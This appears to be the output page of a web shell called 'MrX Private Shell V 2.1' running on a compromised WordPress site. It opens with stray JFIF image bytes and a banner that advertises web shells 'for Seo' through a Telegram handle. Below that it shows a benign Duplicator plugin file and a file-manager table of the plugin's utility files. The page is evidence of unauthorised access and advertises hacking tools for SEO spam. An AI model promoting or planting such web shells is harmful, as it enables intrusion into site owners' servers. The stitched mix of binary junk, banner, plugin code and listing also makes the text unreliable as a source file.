����JFIF���������
__ __ __ __ _____ _ _ _____ _ _ _ | \/ | \ \ / / | __ \ (_) | | / ____| | | | | | \ / |_ __\ V / | |__) | __ ___ ____ _| |_ ___ | (___ | |__ ___| | | | |\/| | '__|> < | ___/ '__| \ \ / / _` | __/ _ \ \___ \| '_ \ / _ \ | | | | | | |_ / . \ | | | | | |\ V / (_| | || __/ ____) | | | | __/ | | |_| |_|_(_)_/ \_\ |_| |_| |_| \_/ \__,_|\__\___| |_____/|_| |_|\___V 2.1 if you need WebShell for Seo everyday contact me on Telegram Telegram Address : @jackleetFor_More_Tools:
<?php
/**
* Methods used to work with WordPress MU sites
*
* Standard: PSR-2
* @link http://www.php-fig.org/psr/psr-2
*
* @package Duplicator
* @subpackage classes/utilities
* @copyright (c) 2017, Snapcreek LLC
*
* @todo Refactor out IO methods into class.io.php file
*/
// Exit if accessed directly
if (! defined('DUPLICATOR_VERSION')) exit;
class DUP_MU
{
public static function isMultisite()
{
return self::getMode() > 0;
}
// 0 = single site; 1 = multisite subdomain; 2 = multisite subdirectory
public static function getMode()
{
if(is_multisite()) {
if (defined('SUBDOMAIN_INSTALL') && SUBDOMAIN_INSTALL) {
return 1;
} else {
return 2;
}
} else {
return 0;
}
}
public static function getGeneration()
{
if (self::getMode() == 0) {
return DUP_PRO_MU_Generations::NotMultisite;
} else {
$sitesDir = WP_CONTENT_DIR.'/uploads/sites';
if (file_exists($sitesDir)) {
return DUP_PRO_MU_Generations::ThreeFivePlus;
} else {
return DUP_PRO_MU_Generations::PreThreeFive;
}
}
}
}| Name | Type | Size | Permission | Actions |
|---|---|---|---|---|
| class.u.json.php | File | 5.17 KB | 0644 |
|
| class.u.multisite.php | File | 1.18 KB | 0644 |
|
| class.u.php | File | 20.96 KB | 0644 |
|
| class.u.scancheck.php | File | 5 KB | 0644 |
|
| class.u.shell.php | File | 1.16 KB | 0644 |
|
| class.u.string.php | File | 2.96 KB | 0644 |
|
| class.u.validator.php | File | 5.61 KB | 0644 |
|
| class.u.zip.php | File | 5.36 KB | 0644 |
|